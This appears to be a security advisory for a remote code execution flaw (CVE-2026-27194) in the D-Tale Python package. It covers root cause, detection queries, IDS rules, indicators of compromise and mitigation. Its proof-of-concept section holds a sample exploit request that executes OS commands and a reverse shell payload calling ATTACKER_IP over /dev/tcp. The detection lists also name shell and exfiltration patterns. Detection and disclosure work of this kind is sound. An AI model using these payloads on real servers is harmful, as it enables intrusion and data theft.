D-Tale – Remote Code Execution (RCE)

Field	Value
CVE ID	CVE-2026-27194
Affected Product	D-Tale (Python package: `dtale`)
Vulnerability Type	Remote Code Execution (Improper Input Validation / Unsafe Evaluation)
CVSS Score (v3)	8.1
Severity	High
Attack Vector	Network (Remote)
Attack Complexity	Low
Privileges Required	Low to None (depends on deployment exposure and configuration)
User Interaction Required	No
Scope	Unchanged
Confidentiality Impact	High
Integrity Impact	High
Availability Impact	High
Exploitability	High if the D-Tale instance is exposed to untrusted users
Exploit Availability	No officially published exploit at the time of writing; exploitation considered technically straightforward if endpoint is reachable
Authentication Required	Not required if instance is publicly exposed without access controls
Remediation	Upgrade to the latest patched version

Overview

A Remote Code Execution vulnerability has been identified in D-Tale due to improper handling of user-supplied filter configuration data within the /save-column-filter endpoint. Insufficient validation and unsafe evaluation logic allowed crafted input to reach sensitive execution paths on the server.

Under specific conditions, arbitrary Python code could be executed within the context of the D-Tale application process. If the service was exposed to internal or external networks without strict access controls, full system compromise was possible.

The vulnerability primarily affected environments where D-Tale was deployed as a long-running web service for interactive data exploration.

Technical Details

The issue originated from the way column filter configurations were stored and later reloaded. User-supplied filter payloads were accepted via HTTP requests and processed server-side.

Improper sanitization permitted malicious Python expressions or serialized objects to be embedded in filter configurations. When those configurations were evaluated or deserialized, attacker-controlled code could be executed.

The vulnerable endpoint typically resembled:

POST /dtale/save-column-filter/<data_id>

Parameters of concern included:

cfg
col
JSON-based filter configuration payloads

If malicious content such as Python expressions or object constructors was inserted into cfg, the application could evaluate it during filter application or persistence.

Root Cause

The vulnerability was caused by one or more of the following unsafe behaviors:

Use of dynamic evaluation functions (eval, exec)
Unsafe deserialization (e.g., pickle loading)
Insufficient validation of JSON filter configuration
Lack of strict schema enforcement on user-supplied filter objects

User input was trusted beyond what was safe for a network-facing application.

Impact

Successful exploitation could result in:

Arbitrary OS command execution
File system read/write access
Credential theft
Reverse shell deployment
Lateral movement within the network
Data exfiltration
Complete host compromise

Impact severity depended on:

Privileges of the D-Tale service account
Network segmentation
Whether the instance was internet-facing
Whether sensitive datasets were loaded

Attack Scenario

A vulnerable D-Tale instance is identified.
The /save-column-filter endpoint is accessed.
A crafted request containing malicious filter configuration is submitted.
The server processes and stores the payload.
Upon loading or applying the filter, malicious code is executed.
A reverse shell or command execution occurs.

No authentication bypass was required if the service was exposed without access control.

Proof of Concept (Educational)

The following illustrates how exploitation could occur in a vulnerable environment. This is provided strictly for defensive research and understanding.

Example malicious request:

POST /dtale/save-column-filter/1 HTTP/1.1
Content-Type: application/json{
  "col": "example",
  "cfg": "__import__('os').system('id')"
}

If unsafe evaluation existed, the above could execute system commands.

A reverse shell example payload:

__import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"')

Indicators of exploitation include:

Unexpected outbound network connections
Shell processes spawned by Python
Execution of OS utilities from the D-Tale process

Detection Guidance

Web Server Log Monitoring

Monitor for requests to:

/save-column-filter
/dtale/save-column-filter

Suspicious Patterns to Search For

__import__
os.system
subprocess
eval(
exec(
pickle
base64
bash -i
/dev/tcp/

Splunk Detection Query

index=web_logs 
("save-column-filter" OR "/dtale/save-column-filter")
| search "__import__" OR "os.system" OR "subprocess" OR "eval(" OR "exec(" OR "pickle" OR "bash -i" OR "/dev/tcp/"
| table _time, src_ip, http_method, uri_path, http_user_agent

Elastic / Kibana Query (KQL)

url.path : "*save-column-filter*" AND 
(
  http.request.body.content : "*__import__*" OR
  http.request.body.content : "*os.system*" OR
  http.request.body.content : "*subprocess*" OR
  http.request.body.content : "*eval(*" OR
  http.request.body.content : "*exec(*"
)

Suricata IDS Rule

alert http any any -> $HOME_NET any (
msg:"D-Tale save-column-filter possible RCE attempt";
flow:established,to_server;
uricontent:"save-column-filter";
http_method;
content:"__import__"; nocase;
sid:10027194; rev:1;
)

Additional signatures should include detection of os.system, subprocess, and reverse shell patterns.

EDR Detection Logic

Alert when:

python process spawns:
- bash
- sh
- cmd.exe
- powershell
Network connections initiated by the D-Tale process to unknown IP addresses
Temporary file creation followed by execution
Execution chain: python → sh → curl/wget

Log Sources to Monitor

NGINX / Apache access logs
Flask application logs
WAF logs
Endpoint Detection & Response logs
Sysmon (Windows)
Auditd (Linux)
Firewall egress logs

Indicators of Compromise

Repeated POST requests to save-column-filter
High-entropy or encoded payloads in HTTP body
Outbound traffic from analytics servers
Unexpected scheduled tasks or cron jobs
Modified Python files within the D-Tale environment

MITRE ATT&CK Mapping

T1190 – Exploit Public-Facing Application
T1059 – Command and Scripting Interpreter
T1105 – Ingress Tool Transfer
T1041 – Exfiltration Over C2 Channel
T1078 – Valid Accounts (post-compromise use)

Mitigation

Upgrade immediately to the patched version.
Restrict network exposure of D-Tale.
Require authentication.
Deploy WAF rules blocking suspicious payload patterns.
Run D-Tale under a least-privileged service account.
Implement outbound firewall restrictions.

Official Patch / Upgrade Link

Upgrade to the latest secure version available from the official project repository:

https://github.com/man-group/dtale/releases

Upgrade example:

pip install --upgrade dtale

Risk Assessment Summary

If D-Tale was exposed to untrusted networks, exploitation risk should be considered significant. Even in internal deployments, lateral movement risk exists.

Immediate patching is strongly recommended. If exploitation is suspected, full incident response procedures should be initiated.

CVE-2026-27194: Critical RCE Flaw in D-Tale Exposes Servers to Remote Code Execution via Malicious Filter Payloads